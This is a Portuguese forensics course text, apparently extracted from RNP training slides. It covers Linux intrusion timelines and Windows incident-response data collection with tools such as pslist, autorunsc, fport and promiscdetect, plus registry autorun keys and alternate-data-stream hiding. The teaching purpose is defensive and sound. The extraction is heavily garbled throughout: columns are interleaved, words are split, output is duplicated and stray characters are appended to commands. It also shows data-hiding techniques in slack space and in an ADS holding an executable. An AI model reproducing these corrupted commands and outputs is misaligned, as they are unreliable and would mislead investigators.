informação em mais de um arquivo. Ela funciona da seguinte forma: lista o slack
space em cada arquivo do diretório passado como parâmetro, e grava um pedaço
da informação em cada arquivo até terminar o dado.
O último comando mostra como recuperar o arquivo deste diretório. Como não é
possível saber onde a informação acaba, o comando acima vai ler o slack space de
todos os blocos no diretório, mesmo que eles não tenham sido usados para gravar a
informação original; por isso, para recuperar o arquivo original é necessário saber o
tamanho total do arquivo, e separar esses bytes de dentro do arquivo /tmp/test.dat.
Conclusões
Conclusões
\\90-120 minutos
114
Escola Superior de Redes RNP
Sumário da sessão
Ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119
Linha de tempo
p
Linha de tempo
Linha de tempo
p Exemplo: para definir quando uma máquina foi
iniciada ou instalada, podemos utilizar evidências
Para criar
P i uma linha
li h dde ttempo, o analista
li t ddeve: como a data de acesso ou a criação de arquivos
Descobrir quando a máquina foi instalada ou iniciada que somente são acessados ou criados durante o
Descobrir quando a máquina foi identificada como boot ou instalação, como os arquivos do /boot ou o
invadida, e o horário em qque começou
ç a atividade de arquivo /sbin/init, embora este último possa ter sido
análise forense e de contenção do ataque
modificado por um rootkit.
Obter informações do momento em que a máquina foi
efetivamente desligada
Registrar informações de tempo das evidências A definição dos horários em que a máquina foi invadida
coletadas pode vir de fontes externas, como entrevistas com
suspeitos ou responsáveis pela máquina e também
pelo registro da tela do computador, como no caso
do nosso exemplo.
Ferramentas
Ferramentas
O analista deve utilizar as ferramentas para coletar informações sobre as O analista deve utilizar as ferramentas vistas ante-
evidências encontradas:
#istat/data/compromised/compromised_hda1.img30578
riormente para coletar informações de tempo das
inode:30578 evidências encontradas:
Allocated
Group:2
uid/gid:0/0 # istat /data/compromised/compromised_hda1.img 305788
mode:ŞrwŞrŞŞrŞŞ
i 228
size:228
inode: 30578
numoflinks:1 Allocated
InodeTimes:
Group: 2
Accessed:SunAug1016:26:182003
FileModified:WedAug612:09:172003 uid / gid: 0 / 0
InodeModified:WedAug612:09:172003 mode: -rw-r--r--
DirectBlocks:
71142
size: 228
num of links: 1
Inode Times:
Accessed: Sun Aug 10 16:26:18 2003
File Modified: Wed Aug 6 12:09:17 2003
Inode Modified: Wed Aug 6 12:09:17 2003
Direct Blocks:
71142
Podemos ver adiante uma atividade de acesso a outros arquivos (.a. na listagem)
indicando que os mesmos foram lidos ou executados. O outro campo na coluna
de atividade indica mudança no inode do arquivo (..c) e pode indicar quando o
arquivo foi criado ou apagado, mas também quando as informações sobre o
arquivo foram alteradas: troca de dono do arquivo, troca de atributos etc.
Correlação
ç de informações
ç
Correlação de informações
As evidências
A idê i encontradas
t d ddevem ser correlacionadas
l i d Sun Aug 10 2003 16:30:52 5636 ma. -/-rw-r--r-- root
com as informações de tempo fornecidas pelas root 47169 /usr/lib/adore.o
f
ferramentas
t fforenses:
No exemplo temos a criação dos arquivos /dev/hdx1
SunAug10200316:30:300macŞ/ŞŞŞŞŞŞŞŞŞŞ rootroot35804/dev/hdx1 e /dev/hdx2, que normalmente indicam uma infecção
0macŞ/ŞŞŞŞŞŞŞŞŞŞ rootroot35833/dev/hdx2
pelo vírus RST.b. Vimos em sessões anteriores que
o antivírus detectou a presença deste vírus em diver-
SunAug10200316:30:525636ma.Ş/ŞrwŞrŞŞrŞŞ rootroot47169
/usr/lib/adore.o
sos arquivos na máquina, o que pode indicar que tais
ferramentas foram executadas.
Reconstrução
ç do ataque
q
Reconstrução do ataque
06/Ago/2003 11:16:40 Last login: Wed Aug 6 11:16:40 on tty2 métodos e técnicas utilizadas pelo invasor, inclusive com
06/Ago/2003 12:09:17 Reinicialização do servidor (/etc/issue). possíveis soluções e técnicas para proteção e detecção
10/Ago/2003 13:24:29 Possível comprometimento do serviço HTTPS.
deste tipo de ação no futuro.
10/Ago/2003 13:33:57 Parada dos serviços syslogd e klogd.
Reconstrução
ç do ataque
q
Finalmente,
Fi l t o analista
li t ddeve id
identificar
tifi possíveis
í i
soluções para os problemas e vulnerabilidades
id tifi d
identificados
Se possível, devem ser sugeridas formas de se
proteger ou identificar atividades como as ocorridas
no sistema analisado
Esta parte da análise forense permite ao responsável
pela máquina
p q invadida entender o que
q aconteceu, p
para
que possa se proteger de futuros ataques
Conclusões
Conclusões
Muitas das técnicas e teorias vistas nas sessões sobre análise forense em Linux
podem e devem ser utilizadas em ambientes Windows, embora existam algumas
diferenças importantes que devem ser levadas em consideração.
Tópicos e conceitos
\\90-120 minutos
122
Escola Superior de Redes RNP
Sumário da sessão
Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132
Sistema de arquivos
q
Sistema de arquivos
Sistema de arquivos
q Estas estruturas são importantes quando se tenta
recuperar informações sobre o sistema de arqui-
O MFT é composto de 16 registros,
registros sendo que somente 12 são vos com as ferramentas de análise forense que
utilizados atualmente: vimos anteriormente.
$MFT – Master File Table
$MftMirr – Cópia de Master File Table
$LogFile – Arquivo de registro de eventos do NTFS A área que sobra da MFT após armazenar os regis-
$Volume – Informações sobre o volume
$AttrDef – Definições de atributos tros acima serve para armazenar as informações
$ – Diretório
$. Di tó i raizi do
d sistema
i t
de arquivos e diretórios do sistema.
$Bitmap – Mapa de utilização de clusters
$Boot – Setor de boot da partição
$BadClus – Lista de bad cluster
$Secure – Informações sobre segurança
$Upcase – Tabela de conversão de caracteres
$Extend – Arquivo de extensões do NTFS
Outra característica delas deve ser interferir o mínimo possível no ambiente onde
coletam dados, ou seja, quanto menor o grau de interação da ferramenta com
o ambiente, menor a ocorrência de contaminação de evidências. Devem possuir
validade jurídica e/ou ser aceitas como instrumentos de coleta de evidências.
\\Cygwin – Ferramentas Unix portadas para Windows: strings, cat, file, wget,
less e ls, entre outras;
Primeiras ações
ç
Primeiras ações
Primeiras ações:
As primeiras ações do investigador ao ter acesso a
Preservar evidências um sistema vulnerável podem comprometer evidên-
C l t evidências
Coletar idê i mais i voláteis
lát i cias se não forem tomados cuidados com a ordem
Verificação externa do sistema:
de coleta das evidências.
Nú
Números de
d série
éi
Dispositivos conectados
E t d gerall ddo sistema
Estado i t Preferencialmente, o investigador deve começar a
Conectividade
coleta de evidências por aquelas mais voláteis e
Energia
Tela do sistema (console): que não poderão ser reproduzidas posteriormente.
Fotografia Entre essas evidências estão as informações sobre
Print-screen (compromete a memória) o ambiente onde a máquina está localizada, sobre a
tela do computador e sobre a memória RAM.
Deve-se evitar capturar a tela do computador com um print screen, pois com isso
perdem-se as informações que estavam na área de transferência (clipboard) e
podem ser comprometidas as evidências em memória.
Eventualmente essa configuração pode não estar disponível no sistema a ser ana-
lisado, razão pela qual devemos possuir mídias alternativas, como disco Firewire
ou até mesmo uma cópia do kit em disquetes.
cmd.exe
O investigador deve sempre se lembrar desse passo que garante a validade das
evidências coletadas.
Podemos fazer uma consulta no registro para descobrir o timezone. Além disso, já
vimos que o comando dd fornece a hora do sistema em horário UTC e horário local.
A ferramenta reg.exe permite fazer consultas a chaves de registro.
Conclusões
Conclusões
Tópicos e conceitos
\\90 minutos
134
Escola Superior de Redes RNP
Sumário da sessão
Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151
\\Pornografia;
\\Fraude;
O comando net.exe faz parte do pacote básico do Windows, e tem diversos parâ-
metros que podem ser usados para interagir com o sistema.
Uma informação que pode ser importante para a análise posterior da imagem de
disco pode ser conseguida com o comando ntfsinfo.exe, que permite extrair algu-
mas informações básicas sobre o disco.
D:\IR\xp> mem8
Coleta de informações básicas
655360 bytes total conventional memory
655360 bytes available to MS-DOS
Informações sobre o sistema 598160 largest executable program size
1048576 bytes total contiguous extended memory
D:\IR\xp> mem
655360 bytes total conventional memory 0 bytes available contiguous extended memory
655360 bytes available to MS-DOS 941056 bytes available XMS memory
598160 largest executable program size MS-DOS resident in High Memory Area
1048576 bytes total contiguous extended memory
0 bytes available contiguous extended memory
941056 bytes available XMS memory
MS-DOS resident in High Memory Area O comando mem.exe fornece informações sobre a
memória do sistema.
D:\IR\xp> psinfo8
Coleta de informações básicas
System information for \\COMPUTADOR:
Uptime: 0 days 4 hours 56 minutes 29 seconds
Informações sobre o sistema Kernel version: Microsoft Windows XP, Uniprocessor
Free
D:\IR\xp> psinfo
System information for \\COMPUTADOR: Product type: Professional
Uptime:
Kernel version:
0 days 4 hours 56 minutes 29 seconds
Microsoft Windows XP, Uniprocessor Free
Product version: 5.1
Product type: Professional Service pack: 2
Product version: 5.1
Service pack: 2 Kernel build number: 2600
Kernel build number: 2600
Registered organization: Registered organization:
Registered owner: Usuario
Install date: 18/10/2005, 19:19:17 Registered owner: Usuario
Activation status:
IE version:
Error reading status
7.0000
Install date: 18/10/2005, 19:19:17
System root: C:\WINDOWS Activation status: Error reading status
Physical memory: 1022 MB
IE version: 7.0000
System root: C:\WINDOWS
Physical memory: 1022 MB
Observe que a informação sobre ativação nem sempre pode ser lida como vemos
no comando acima. No exemplo, o comando foi executado em uma máquina devi-
damente ativada e autenticada.
D:\IR\xp> ps -a -W8
D:\IR\xp> ps -a -W PID PPID PGID WINPID TTY UID STIME COMMAND
PID PPID PGID WINPID TTY UID STIME COMMAND
4 0 0 4 ? 0 16:24:48 *** 4 0 0 4 ? 0 16:24:48 *** unknown ***
unknown ***
944 0 0
\SystemRoot\System32\smss.exe
944 ? 0 14:39:48 944 0 0 944 ? 0 14:39:48 \SystemRoot\System32\smss.
1068 0 0 1068 ? 0 14:39:58 exe
\??\C:\WINDOWS\system32\winlogon.exe
1112 0 0 1112 ? 0 14:39:58 1068 0 0 1068 ? 0 14:39:58 \??\C:\WINDOWS\system32\
C:\WINDOWS\system32\services.exe
1124 0 0 1124 ? 0 14:39:58
winlogon.exe
C:\WINDOWS\system32\lsass.exe
1272 0 0 1272 ? 0 14:39:59
1112 0 0 1112 ? 0 14:39:58 C:\WINDOWS\system32\serv
C:\WINDOWS\system32\Ati2evxx.exe ices.exe
1284 0 0 1284 ? 0 14:39:59
C:\WINDOWS\system32\svchost.exe 1124 0 0 1124 ? 0 14:39:58 C:\WINDOWS\system32\lsas
…
s.exe
1272 0 0 1272 ? 0 14:39:59 C:\WINDOWS\system32\Ati2
evxx.exe
1284 0 0 1284 ? 0 14:39:59 C:\WINDOWS\system32\svch
ost.exe
…
\\mstask.exe – Task scheduler service (não pode ser terminado pelo Gerenciador
de tarefas).
D:\IR\xp> pslist8
Processos em execução no sistema
Process information for COMPUTADOR:
Name Pid Pri Thd Hnd Priv CPU Time Elapsed Time
Idle 0 0 1 0 0 5:22:42.671 0:00:00.000
D:\IR\xp> pslist
Process information for COMPUTADOR: System 4 8 68 645 0 0:01:50.234 0:00:00.000
Name Pid Pri Thd Hnd Priv CPU Time Elapsed Time
Idle 0 0 1 0 0 5:22:42.671 0:00:00.000 smss 944 11 3 21 168 0:00:00.015 6:18:01.531
System 4 8 68 645 0 0:01:50.234 0:00:00.000
smss 944 11 3 21 168 0:00:00.015 6:18:01.531 csrss 1040 13 13 747 2004 0:00:53.640 6:17:55.000
csrss 1040 13 13 747 2004 0:00:53.640 6:17:55.000
winlogon 1068 13 22 448 6388 0:00:00.937 6:17:52.234
winlogon 1068 13 22 448 6388 0:00:00.937 6:17:52.234
services
lsass
1112
1124
9 15 337
9 21 461
1996
5868
0:00:10.515
0:00:05.187
6:17:52.046
6:17:52.031
services 1112 9 15 337 1996 0:00:10.515 6:17:52.046
ati2evxx 1272 8 5 71 796 0:00:00.343 6:17:51.218 lsass 1124 9 21 461 5868 0:00:05.187 6:17:52.031
svchost 1284 8 18 220 3384 0:00:00.203 6:17:51.203
... ati2evxx 1272 8 5 71 796 0:00:00.343 6:17:51.218
svchost 1284 8 18 220 3384 0:00:00.203 6:17:51.203
...
D:\IR\xp> ..\diamondcs\cmdline.exe8
Processos em execução no sistema
DiamondCS Commandline Retrieval Tool for Windows NT
4/2K/XP
D:\IR\xp> ..\diamondcs\cmdline.exe
DiamondCS Commandline Retrieval Tool for Windows NT4/2K/XP
944 - \SystemRoot\System32\smss.exe <Error> Unable t
944 - \SystemRoot\System32\smss.exe <Error> Unable to read memory o read memory from PID 944
from PID 944
1040 - \??\C:\WINDOWS\system32\csrss.exe 1040 - \??\C:\WINDOWS\system32\csrss.exe
C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows
SharedSection=1024,3072,512 Windows=On SubSystemType=Windows C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Wind
ServerDll=basesrv,1 ows SharedSection=1024,3072,512 Windows=On SubSyste
ServerDll=winsrv:UserServerDllInitialization,3
ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off
mType=Windows ServerDll=basesrv,1 ServerDll=winsrv:
MaxRequestThreads=16 UserServerDllInitialization,3 ServerDll=winsrv:ConS
1068 - \??\C:\WINDOWS\system32\winlogon.exe winlogon.exe erverDllInitialization,2 ProfileControl=Off MaxReque
1112 - C:\WINDOWS\system32\services.exe stThreads=16
C:\WINDOWS\system32\services.exe
1124 - C:\WINDOWS\system32\lsass.exe C:\WINDOWS\system32\lsass.exe 1068 - \??\C:\WINDOWS\system32\winlogon.exe winlogo
1272 - C:\WINDOWS\system32\Ati2evxx.exe n.exe
1112 - C:\WINDOWS\system32\services.exe C:\WINDOWS\
system32\services.exe
1124 - C:\WINDOWS\system32\lsass.exe C:\WINDOWS\sys
tem32\lsass.exe
1272 - C:\WINDOWS\system32\Ati2evxx.exe
Bibliotecas do sistema
Bibliotecas do sistema
Uma coisa que o investigador deve estar atento ao examinar estes comandos são
bibliotecas localizadas em local que não seja padrão no sistema. Outra indicação
de que o sistema pode ter sido comprometido é a presença de bibliotecas com o
mesmo nome do sistema, mas com versões diferentes das outras bibliotecas padrão.
Além destas ferramentas, existe uma ferramenta gráfica no kit de ferramentas que
permite listar as DLLs que são automaticamente injetadas em todos os processos
executados. Esta ferramenta chama-se InjectedDLL.exe
Podemos inclusive listar mais informações sobre uma DLL clicando duas vezes
sobre ela, como no exemplo abaixo.
Outra informação importante sobre os processos, além das bibliotecas que eles
utilizam, é relativa aos arquivos que eles mantêm abertos. Um processo desco-
nhecido pode manter arquivos de logs, pipes e outros tipos de arquivos abertos
durante a execução. É importante tentar recuperar essa informação, pois isso
pode facilitar o trabalho de investigação posterior.
Outra ferramenta útil para ver arquivos abertos em tempo real é a Filemon. Com
ela, podemos ver inclusive os acessos aos arquivos especiais do MFT, indicando
leituras ou escritas na tabela de partição.
Serviços em execução
Serviços em execução
Serviços em execução
ALG
Controls: UNKNOWN #0
Display Name: Application Layer Gateway Service
\\net stop <serviço>
State: Running
Type: Windows Own Process
Controls: START
STOP
aswUpdSv Display Name: avast! iAVS4 Control Service
State: Running
Type: Windows Own Process
Desktop Interactive Process
Controls: START
STOP
SYSTEM SHUTDOWN
D:\IR\xp> autorunsc8
Serviços em execução
Autoruns v8.61 - Autostart program viewer
HKLM\System\CurrentControlSet\Control\Terminal Serv
D:\IR\xp> autorunsc
Autoruns v8.61 - Autostart program viewer
er\Wds\rdpwd\StartupPrograms
HKLM\System\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\StartupPrograms
rdpclip
rdpclip RDP Clip Monitor
RDP Clip Monitor
Microsoft Corporation Microsoft Corporation
c:\windows\system32\rdpclip.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
c:\windows\system32\rdpclip.exe
C:\WINDOWS\system32\userinit.exe HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\W
Userinit Logon Application inlogon\Userinit
Microsoft Corporation
c:\windows\system32\userinit.exe C:\WINDOWS\system32\userinit.exe
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SynTPLpr Userinit Logon Application
TouchPad Driver Helper Application Microsoft Corporation
Synaptics, Inc.
c:\program files\synaptics\syntp\syntplpr.exe c:\windows\system32\userinit.exe
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SynTPLpr
TouchPad Driver Helper Application
Synaptics, Inc.
c:\program files\synaptics\syntp\syntplpr.exe
Além desta chave de registro, existem muitas outras que permitem a inicialização
automática de processos. Por isso, podemos usar ferramentas como o autorunsc.
exe para listar todas as possibilidades.
Repare que ela lista diversas chaves de registro e arquivos de configuração que
permitem a execução automática de programas.
Esta é a versão gráfica da ferramenta anterior, que permite ligar ou desligar pro-
gramas que estão iniciando automaticamente.
Conclusões
Conclusões
Tópicos e conceitos
\\90 minutos
154
Escola Superior de Redes RNP
Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 175
Conexões de rede
É importante notar as informações sobre as con-
São evidências voláteis figurações de IP de todas as interfaces de rede,
Podem dar pistas sobre a origem dos invasores
incluindo aquelas que forem interfaces wireless. Além
Podem dar dicas sobre possíveis vazamentos de informação ou mau
uso do sistema disso, é importante notar se a máquina possui um IP
Existem dois tipos de informação importantes de coletar: configurado estaticamente ou se usa DHCP para se
Conexões ativas, ou seja, aquelas que estão acontecendo no
momento atual auto-configurar.
Portas abertas, ou os serviços que a máquina está oferecendo
publicamente
O investigador deve comparar a saída de diversos comandos Por fim, também é necessário anotar todos os ende-
diferentes, pois os rootkits costumam esconder informações reços MAC das placas instaladas no computador,
sobre conexões de redes e portas abertas.
para correlacionar posteriormente estas informações
com logs externos.
D:\IR\xp> openports8
DiamondCS OpenPorts v1.0 (-? for help)
SYSTEM [4]
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
D:\IR\xp> fport8
Coleta de informações de redes
FPort v2.0 - TCP/IP Process to Port Mapper
Pid Process Port Proto Path
Conexões de rede
1364 -> 135 TCP
D:\IR\xp> fport
FPort v2.0 - TCP/IP Process to Port Mapper
4 System -> 139 TCP
Pid
1364
Process Port
-> 135
Proto Path
TCP
4 System -> 445 TCP
4 System -> 139 TCP 2156 -> 1025 TCP
4 System -> 445 TCP
2156 -> 1025 TCP 884 MsnMsgr -> 1074 TCP C:\Program Files
884 MsnMsgr -> 1074 TCP C:\Program Files\MSN
Messenger\MsnMsgr.Exe \MSN Messenger\MsnMsgr.Exe
2512 firefox -> 1096 TCP C:\Program Files\Mozilla
Firefox\firefox.exe 2512 firefox -> 1096 TCP C:\Program Files
2512 firefox -> 1097
Firefox\firefox.exe
TCP C:\Program Files\Mozilla \Mozilla Firefox\firefox.exe
2512 firefox -> 1101
Firefox\firefox.exe
TCP C:\Program Files\Mozilla 2512 firefox -> 1097 TCP C:\Program Files
... \Mozilla Firefox\firefox.exe
2512 firefox -> 1101 TCP C:\Program Files
\Mozilla Firefox\firefox.exe
...
Além das ferramentas de comando de linha estudadas, ainda existem duas ferra-
mentas com interface gráfica que podem ser utilizadas para coletar informações
sobre conexões de rede.
Outra ferramenta que também permite visualizar este tipo de informação é cha-
mada cports.exe. Ela contém muitas informações interessantes sobre os proces-
sos que estão mantendo conexões abertas. Execute a ferramenta em sua estação
e examine as colunas de informação para cada processo.
D:\IR\xp> promiscdetect8
Coleta de informações de redes
Adapter name:
- Broadcom 802.11b/g WLAN
Conexões de rede Active filter for the adapter:
D:\IR\xp> promiscdetect - Directed (capture packets directed to this comput
Adapter name:
- Broadcom 802.11b/g WLAN er)
Active filter for the adapter:
- Directed (capture packets directed to this computer)
- Multicast (capture multicast packets for groups t
- Multicast (capture multicast packets for groups the computer is a member of) he computer is a member of)
- Broadcast (capture broadcast packets)
- Promiscuous (capture all packets on the network)
- Broadcast (capture broadcast packets)
WARNING: Since this adapter is in promiscuous mode there could be a sniffer
running on this computer!
- Promiscuous (capture all packets on the network)
Adapter name:
WARNING: Since this adapter is in promiscuous mode
- Realtek RTL8139/810x Family Fast Ethernet NIC there could be a sniffer running on this computer!
Active filter for the adapter:
- Directed (capture packets directed to this computer)
- Multicast (capture multicast packets for groups the computer is a member of) Adapter name:
- Broadcast (capture broadcast packets)
- Realtek RTL8139/810x Family Fast Ethernet NIC
Active filter for the adapter:
- Directed (capture packets directed to this compu
ter)
- Multicast (capture multicast packets for groups
the computer is a member of)
- Broadcast (capture broadcast packets)
Uma informação que pode ser uma indicação forte de que a máquina foi comprometida
é o fato de alguma de suas interfaces de rede estar funcionando em modo promíscuo.
Este tipo de funcionamento faz com que o driver de rede associado à interface
capture todos os pacotes que passem pela rede, mesmo aqueles que não são
direcionados à própria máquina. Com isso, é possível monitorar todo o tráfego de
rede, coletando informações confidenciais como senhas e logins, entre outras.
Vemos no slide que uma das interfaces está configurada para funcionar em modo
promíscuo, e com isso capturar todos os pacotes que passam pela rede, o que
pode ser indicativo da presença de um sniffer, e quase certamente do comprome-
timento da máquina.
HKEY_USERS
Contém o perfil dos usuários do computador.
HKEY_LOCAL_MACHINE
Contém as informações específicas do computador
relacionadas com hardware e software.
HKEY_CLASSES_ROOT
Contém informações sobre as associações de arquivos.
HKEY_CURRENT_CONFIG
Contém as informações do perfil do hardware do computador.
As chaves do registro podem ter seu nome abreviado, o que facilita a execução
de uma busca pelo comando de linha:
HKEY_LOCAL_MACHINE: HKLM
HKEY_CLASSES_ROOT: HKCR
HKEY_CURRENT_USER: HKCU
HKEY_USERS: HKU
HKEY_CURRENT_CONFIG: HKCC
Cópia do registro:
Coleta de informações em registros do
Windows D:\IR\xp> regdmp > d:\tmp\registry.txt8
Cópia do registro:
D:\IR\xp> regdmp > d:\tmp\registry.txt D:\IR\xp> reg query HKCU\Software /s > d:\tmp\regis
D:\IR\xp> reg query HKCU\Software /s > d:\tmp\registry_HKCU.txt try_HKCU.txt8
Principais buscas nos registros:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce Principais buscas nos registros:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce ntVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs ntVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Internet Explo
rer\TypedURLs
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\Explorer\RunMRU
HKCU\Software\Microsoft\Windows\CurrentVersion\Expl
orer\ComDlg32\OpenSaveMRU\*
Para realizar uma cópia em formato de texto do registro do Windows podemos utilizar a
ferramenta regdmp.exe. É necessário direcionar a saída do comando para um arquivo.
O arquivo gerado nos permite realizar uma série de buscas em chaves conside-
radas importantes para o processo de coleta de informações. Podemos realizar
consultas a chaves específicas ou a um diretório inteiro dentro do registro.
Podemos ver que a ferramenta permite realizar pesquisas por texto ou por uma faixa
de datas de modificação de alguma das chaves. É interessante para achar modifica-
ções recentes no registro, causadas por algum vírus ou ferramenta de rootkit.
\\HKEY_LOCAL_MACHINE
\\HKEY_USERS
\\HKEY_CURRENT_USER
Uma funcionalidade permite navegar nos dados ordenados por tempo, o que
possibilita verificar mais facilmente em um determinado momento as chaves que
foram modificadas.
Outros processos do sistema podem criar arquivos de logs específicos, tal como
ferramentas de antivírus ou firewall.
Registro de eventos:
Coleta de registros de eventos (logs)
D:\IR\xp> psloglist8
Registro de eventos System log on \\COMPUTADOR:
D:\IR\xp> psloglist
System log on \\COMPUTADOR: [494907] WinDefend
[494907] WinDefend
Type: INFORMATION
Type: INFORMATION
Computer: COMPUTADOR Computer: COMPUTADOR
Time: 30/1/2008 20:03:49 ID: 2000
Windows Defender signature version has been updated.
Time: 30/1/2008 20:03:49 ID: 2000
Current Signature Version: 1.24.6025.0 Windows Defender signature version has been updated.
Previous Signature Version: 1.24.5865.0
Update Source: User Current Signature Version: 1.24.6025.0
Signature Type: AntiSpyware Previous Signature Version: 1.24.5865.0
Update Type: Delta
User: COMPUTADOR\Usuario Update Source: User
Current Engine Version: 1.1.3109.0 Signature Type: AntiSpyware
Previous Engine Version: 1.1.3109.0
… Update Type: Delta
User: COMPUTADOR\Usuario
Current Engine Version: 1.1.3109.0
Previous Engine Version: 1.1.3109.0
…
Devido ao fato de serem arquivos binários, são muito mais difíceis de modificar
pelos invasores que tentam esconder suas atividades.
Registro de eventos:
Coleta de registros de eventos (logs)
D:\IR\xp> ..\2k\res_kit\dumpel /?8
Registro de eventos DUMPEL Usage:
D:\IR\xp> ..\2k\res_kit\dumpel /? dumpel -f file [-s \\server] [-l log [-m source]] [-
DUMPEL Usage: e n1 n2 n3..] [-r] [-t] [-dx]
dumpel -f file [-s \\server] [-l log [-m source]] [-e n1 n2 n3..] [-r] [-t] [-
dx] -d <days> Filters for event last days (number larg
-d <days> Filters for event last days (number larger than zero)
-e nn Filters for event id nn (up to 10 may be specified)
er than zero)
-f <filename> Output filename (default stdout)
-l <name> Dumps the specified log (system, application, security)
-e nn Filters for event id nn (up to 10 may be spe
-b Dumps a backup file (use -l to specify file name) cified)
-m <name> Filters for events logged by name
-r Filters out events logged by name (must use -m too)
-f <filename> Output filename (default stdout)
-s <servername> Remote to servername
-l <name> Dumps the specified log (system, applicat
-t Use tab to separate strings (default is space)
-c Use comma to separate fields ion, security)
-ns Do not output strings
-format <fmt> Specify output format.
-b Dumps a backup file (use -l to specify file name)
-m <name> Filters for events logged by name
-r Filters out events logged by name (must use -m t
oo)
-s <servername> Remote to servername
-t Use tab to separate strings (default is space)
-c Use comma to separate fields
-ns Do not output strings
-format <fmt> Specify output format.
Repare que a ferramenta mostrada no slide não está no caminho padrão do prompt
de comandos, tendo sido necessário especificar o caminho completo para ele.
Registro de eventos:
Coleta de registros de eventos (logs)
D:\IR\xp> dumpevt /logfile=app /all /outfile=\tmp\evt
dump.txt8
Registro de eventos
D:\IR\xp> dumpevt /logfile=app /all /outfile=\tmp\evtdump.txt
Somarsoft DumpEvt V1.7.3, Copyright ⌐ 1995-1997 by S
Somarsoft DumpEvt V1.7.3, Copyright Ń 1995-1997 by Somarsoft, Inc. omarsoft, Inc.
LogType=Application LogType=Application
Computer=(local)
SystemRoot=C:\WINDOWS Computer=(local)
Outfile=\tmp\evtdump.txt SystemRoot=C:\WINDOWS
Use HKEY_CURRENT_USER for saving record number
Format=yes Outfile=\tmp\evtdump.txt
DateFormat=(locale dependent)
TimeFormat=HH':'mm':'ss
Use HKEY_CURRENT_USER for saving record number8
FieldSeparator=, Format=yes
ReplaceFieldSeparator= (blank)
…
DateFormat=(locale dependent)
TimeFormat=HH’:’mm’:’ss
FieldSeparator=,
ReplaceFieldSeparator= (blank)
…
Permite especificar o tipo de log que desejamos coletar, gerando uma saída já
formatada para ser inserida em uma base de dados.
O arquivo gerado por este comando poderá ser então importado em uma base de
dados como um arquivo CSV separado por vírgulas, o que pode facilitar a análise
dos eventos, que muitas vezes contêm milhares de linhas.
Existe uma ferramenta disponível no kit que não serve exclusivamente para visuali-
zação de logs de eventos, embora também tenha esta funcionalidade.
Esta ferramenta serve para realizar uma auditoria completa no sistema, e permite
visualizar informações sobre logs de eventos, instalações de programas e atualiza-
ções do Windows, além de informações gerais sobre o sistema.
c:\WINDOWS\NOTEPAD.EXE8
D:\IR\xp> file -m ..\Cygwin\magic
c:\WINDOWS\NOTEPAD.EXE c:\WINDOWS\NOTEPAD.EXE: MS-DOS executable (EXE), OS
c:\WINDOWS\NOTEPAD.EXE: MS-DOS executable /2 or MS Windows
(EXE), OS/2 or MS Windows
Veja que é listado acima o último arquivo acessado dentro do diretório especificado.
Além disso, o comando permite examinar o último acesso a um determinado arquivo,
ou listar arquivos acessados entre períodos determinados.
Veja que este comando produz informações importantes sobre um arquivo, princi-
palmente sobre permissões de segurança e streams alternativos.
Ocultação de dados:
Recuperação de dados ocultos ADS
D:\IR\xp> echo Este e um arquivo de textos > d:\tmp
Ocultação de dados: \file.txt8
D:\IR\xp> echo Este e um arquivo de textos > d:\tmp\file.txt
Quando o arquivo de origem é removido (neste caso file.txt) não se pode mais
acessar os ADS que estavam a ele relacionados. No entanto, os dados continuam
no disco até serem eventualmente sobrescritos.
Em um sistema onde foram encontrados indícios do uso de ADS, pode ser neces-
sário realizar uma pesquisa completa na imagem do disco.
Ocultação de dados:
Recuperação de dados ocultos ADS
D:\IR\xp> ads d:\tmp8
Ocultação de dados: d:\tmp\teste.txt:adsdata.txt (23 bytes)
D:\IR\xp> ads d:\tmp
d:\tmp\teste.txt:adsdata.txt (23 bytes) d:\tmp\teste.txt:np.exe (69120 bytes)
d:\tmp\teste.txt:np.exe (69120 bytes)
Recuperação de senhas
Recuperação de senhas
Conclusões
Conclusões
\\Identificar
